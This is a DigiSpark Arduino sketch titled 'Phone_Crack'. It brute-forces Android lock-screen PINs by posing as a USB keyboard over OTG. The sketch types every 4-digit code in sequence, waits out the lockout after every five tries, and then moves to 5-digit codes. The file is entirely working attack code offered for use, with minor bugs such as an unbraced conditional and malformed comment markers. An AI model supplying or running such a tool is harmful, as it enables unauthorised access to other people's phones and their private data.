/===============================================
Phone_Crack -  4 Digit PIN - Brute Force Attack on Android
Smartphones that Supports OTG-Usb
DigiSpark
===============================================/

#include "DigiKeyboard.h"
int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
int a = 0; //1st digit
int b = 0; //2nd digit
int c = 0; //3rd digit
int d = 0; //4th digit
int e = 0; //5th digit
int count = 0;
bool key_stroke_e = false;

void setup() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay
delay(3000);
}

void loop() {
//After 5 attempts, initialize 31000 ms wait to retry.
if(count == 5){
digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B
DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away
delay(31000);
count = 0;
digitalWrite(1,LOW);
}
/Sends keystrokes based upon the values between 0-9
It will start bruting 5 digits if a exceeds 10/
if (key_stroke_e == false)
DigiKeyboard.sendKeyStroke(num[a]);
DigiKeyboard.sendKeyStroke(num[b]);
DigiKeyboard.sendKeyStroke(num[c]);
DigiKeyboard.sendKeyStroke(num[d]);
//check for whether it is true. If so, use 5 digits instead.
if (key_stroke_e == true){
DigiKeyboard.sendKeyStroke(num[a]);
DigiKeyboard.sendKeyStroke(num[b]);
DigiKeyboard.sendKeyStroke(num[c]);
DigiKeyboard.sendKeyStroke(num[d]);
DigiKeyboard.sendKeyStroke(num[e]);
}
DigiKeyboard.sendKeyStroke(40);
delay(1000);
d++;
count++;
//If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit
if(d == 10){
d = 0;
c++;
//If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit
if(c == 10){
c = 0;
b++;
//If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit
if(b == 10){
b = 0;
a++; //if the 1st digit is past 9 it'll probably just throw out errors.
if(a == 10){
//remain_true will equal true, loop through void(), and send the 5th keystroke
key_stroke_e = true;
e++;
//Remember that brute forcing will still work, despite its strange order.
//After e == 10, it will become 0 again.
if(e == 10){
e = 0;
}
}
}
}
}
}